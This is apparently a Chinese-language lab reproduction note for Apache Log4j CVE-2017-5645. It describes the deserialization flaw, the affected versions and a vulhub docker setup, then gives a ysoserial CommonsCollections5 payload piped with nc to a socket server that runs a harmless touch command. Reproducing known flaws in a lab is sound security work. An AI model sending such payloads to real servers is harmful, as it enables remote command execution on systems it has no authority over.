Apache Log4j Server CVE-2017-5645 反序列化命令执行漏洞

漏洞描述

攻击者可以通过发送一个特别制作的2进制payload，在组件将字节反序列化为对象时，触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时，接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置，可以有效的解决该漏洞
影响版本

Apache Log4j 2.8.2之前的2.x版本

环境搭建

cd /vulhub/log4j/CVE-2017-5645
docker-compose up -d

复现

使用ysoserial生成payload，然后直接发送给192.168.1.144:4712端口即可。
java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.1.144 4712
进入容器发现生成文件成功
docker exec -it [容器id] /bin/bash